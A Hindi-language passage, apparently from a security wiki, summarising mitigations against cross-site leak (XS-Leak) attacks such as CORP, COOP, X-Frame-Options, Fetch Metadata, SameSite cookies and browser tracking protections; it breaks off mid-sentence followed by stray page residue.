इस खंड में आप https://xsinator.com/paper.pdf में सुझाए गए उपायों का एक हिस्सा पा सकते हैं, हालांकि, प्रत्येक विकी खंड https://xsleaks.dev/ में अधिक उपाय हैं। इन तकनीकों के खिलाफ सुरक्षा के बारे में अधिक जानकारी के लिए वहां देखें।

इंक्लूजन मेथड मिटिगेशन्स

HTML तत्व। यह CORP हेडर का उपयोग करके नियंत्रित कर सकता है कि पेज किसी संसाधन को एम्बेड कर सकते हैं या नहीं। CORP को सेम-ओरिजिन या सेम-साइट पर सेट किया जा सकता है और यह किसी संसाधन के लिए क्रॉस-ओरिजिन या क्रॉस-साइट अनुरोधों को अवरुद्ध करता है। क्लाइंट साइट पर, Chromium-आधारित ब्राउज़र CORB एल्गोरिदम का उपयोग करते हैं तय करने के लिए कि क्रॉस-ओरिजिन संसाधन अनुरोधों को अनुमति दी जानी चाहिए या नहीं।
फ्रेम्स। iframe तत्वों को HTML संसाधनों को लोड करने से रोकने के लिए मुख्य बचाव X-Frame-Options का उपयोग है। वैकल्पिक रूप से, CSP डायरेक्टिव frame-ancestors एक समान परिणाम प्राप्त कर सकता है। यदि एम्बेडिंग को अस्वीकार किया जाता है, तो इंक्लूजन मेथड प्रतिक्रियाओं में अंतर का पता नहीं लगा सकता।
पॉप-अप्स। window.opener तक पहुंच को प्रतिबंधित करने के लिए, COOP HTTP प्रतिक्रिया हेडर तीन अलग-अलग मानों को परिभाषित करता है: unsafe-none (डिफ़ॉल्ट), same-origin-allow-popups, और same-origin। ये मान ब्राउज़िंग टैब्स और पॉप-अप्स को अलग करने के लिए उपयोग किए जा सकते हैं और इस प्रकार, पॉप-अप्स पर आधारित लीक तकनीकों को कम करते हैं।
JavaScript अनुरोध। क्रॉस-ओरिजिन JavaScript अनुरोध XS-Leak हमलों में अक्सर उपयोग किए जाते हैं, क्योंकि एक हमलावर को जारी किए गए अनुरोध पर बारीक नियंत्रण होता है। हालांकि, चूंकि ये अनुरोध CORS सक्षम नहीं हैं, वे स्क्रिप्ट्स या इमेजेस जैसे HTML तत्वों द्वारा भेजे गए अनुरोधों के समान प्रतिबंधों के अधीन होते हैं। इस प्रकार इस लीक तकनीक का प्रभाव भी CORP और CORB द्वारा कम किया जा सकता है।

अधिक सामान्य तरीके:

Fetch Metadata। ये अनुरोध हेडर सर्वर मालिकों को यह समझने में मदद करते हैं कि उपयोगकर्ता के ब्राउज़र ने एक विशेष अनुरोध को कैसे प्रेरित किया। Chrome में, Sec-Fetch-* हेडर्स को प्रत्येक अनुरोध के साथ स्वचालित रूप से जोड़ा जाता है और अनुरोध के प्रोवेनेंस के बारे में मेटाडेटा प्रदान करता है। उदाहरण के लिए, Sec-Fetch-Dest: image को एक इमेज तत्व से ट्रिगर किया गया था। वेब एप्लिकेशन फिर उस जानकारी के आधार पर अनुरोधों को ब्लॉक करने का चयन कर सकते हैं।
Same-Site कुकीज। Same-Site कुकी फ्लैग वेबसाइटों को घोषित करने की अनुमति देता है कि कुकी को सेम-साइट या फर्स्टपार्टी संदर्भ में प्रतिबंधित किया जाना चाहिए। सभी प्रमुख ब्राउज़र Same-Site कुकीज का समर्थन करते हैं। GC में, बिना विशेषता वाली कुकीज अब डिफ़ॉल्ट रूप से Lax हैं। XS-Leaks के लिए, Same-Site कुकीज लीक हमले की संभावनाओं को बहुत सीमित कर देती हैं। दूसरी ओर, window.open पर आधारित लीक तकनीकें SameSite=Lax के साथ अभी भी काम करती हैं। वेबसाइटें जो अन्य प्रमाणीकरण तरीकों का उपयोग करती हैं, जैसे क्लाइंट-साइड प्रमाणपत्र और HTTP प्रमाणीकरण, अभी भी संवेदनशील रहती हैं।
Cross-Origin Identifier Unlinkability (COIU)। COIU, जिसे First-Party Isolation (FPI) के नाम से भी जाना जाता है, एक वैकल्पिक सुरक्षा विशेषता है जिसे उपयोगकर्ता FF की विशेषज्ञ सेटिंग्स (about:config) में सक्षम कर सकते हैं और मूल रूप से Tor ब्राउज़र में पेश किया गया था। सारांश दृष्टिकोण में, यह एक विस्तारित सेम-साइट संदर्भ है। यह कई संसाधनों को बांधता है (जैसे, कुकीज, कैश, क्लाइंट-साइड स्टोरेज) पहले पक्ष के लिए बजाय उन्हें सभी दौरा की गई वेबसाइटों के बीच साझा करने के। यदि सक्षम किया गया है, तो COIU XS-Leaks की लागू करने की क्षमता को बहुत कम कर देता है, क्योंकि केवल पॉप-अप्स का उपयोग करने वाली विधियां ही नीति की पहले पक्ष की आवश्यकता को पूरा कर सकती हैं।
ट्रैकिंग प्रोटेक्शन्स। Apple ने SA में Intelligent Tracking Prevention (ITP) नामक एक गोपनीयता तंत्र लागू किया है जो कुकीज और अन्य वेब APIs की क्षमताओं को सीमित करके क्रॉस-साइट ट्रैकिंग से लड़ने का लक्ष्य रखता है। SA के नए संस्करणों में, ITP बिना किसी अपवाद के सभी थर्ड-पार्टी कुकीज को डिफ़ॉल्ट रूप से अवरुद्ध करता है [74]। यह अवरोधन पॉप-अप्स पर आधारित नहीं होने वाली सभी लीक्स को रोकता है। FF ने Enhanced Tracking Prevention (ETP) के साथ एक समान दृष्टिकोण अपनाया, लेकिन वे केवल ट्रैकिंग प्रदाताओं के संबंधित थर्ड-पार्टी कुकीज को अवरुद्ध करते हैं। XS-Leaks के संदर्भ में, ETP केवल उन ट्रैकिंग डोमेनों को लक्षित करने वाली लीक तकनीकों को कम करता है।
ब्राउज़र एक्सटेंशन्स। सुरक्षा जागरूक उपयोगकर्ता ब्राउज़र एक्सटेंशन्स का उपयोग करके कुछ इंक्लूजन मेथड्स को रोक सकते हैं।

लीक तकनीक मिटिगेशन्स

इवेंट हैंडलर। इस लीक तकनीक पर सबसे प्रभावी मिटिगेशन उन्हें सभी को अस्वीकार करना होगा, लेकिन यह इंटरनेट पर अधिकांश वेब एप्लिकेशन को तोड़ देगा। इसलिए हम प्रस्ताव करते हैं कि घटनाओं के भीतर एकत्र की जा सकने वाली आवश्यक जानकारी की संख्या को कम करें। उदाहरण के लिए, CSP उल्लंघन इवेंट को ब्लॉक किए गए URI फ़ील्ड में रीडायरेक्शन लक्ष्य URL

62 KiB Raw Blame History Unescape Escape